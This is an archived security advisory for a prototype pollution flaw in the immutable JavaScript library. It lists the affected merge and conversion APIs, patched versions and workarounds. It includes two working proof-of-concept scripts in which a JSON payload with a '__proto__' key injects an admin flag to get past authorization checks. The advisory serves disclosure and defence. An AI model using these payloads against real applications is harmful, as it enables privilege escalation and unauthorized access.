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Immutable is vulnerable to Prototype Pollution

Historical advisory saved 24 Oct 2026 13:17:17 UTC. The publisher may have updated it since then. Latest advisory.

osv · GHSA-wf6x-7x77-mvgw

Published

## Impact _What kind of vulnerability is it? Who is impacted?_ A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. ## Affected APIs | API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` | | `mergeDeepWith(merger, target, source)` | Same code path | | `merge(target, source)` | Shallow variant, same assignment logic | | `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard | | `Map.toObject()` | Same `toObject()` implementation | | `Map.mergeDeep(source)` | When source is converted to plain object | ## Patches _Has the problem been patched? What versions should users upgrade to?_ | major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 | ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ - [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input) - [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto) - [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects) - [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype) - [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype) ## Proof of Concept ### PoC 1 — mergeDeep privilege escalation ```javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4 // Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","__proto__":{"role":"admin","admin":true}}', ); const merged = mergeDeep(userProfile, requestBody); console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__! // Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins) // Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true ``` ### PoC 2 — All affected APIs ```javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable"); const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}'); // 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true // 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true // 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true // 4. Map.toJS() with __proto__ key const m = Map({ user: "alice" }).set("__proto__", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true // 5. Map.toObject() with __proto__ key const m2 = Map({ user: "alice" }).set("__proto__", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true // 6. Nested path const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true // 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe) ``` **Verified output against [email protected]:** ``` mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted ``` ## References _Are there any links users can visit to find out more?_ - [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)

Source published
4 Mar 2026 21:28:06 UTC
Source modified
10 Sep 2026 03:50:41 UTC
Saved here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Publisher rating · HIGH

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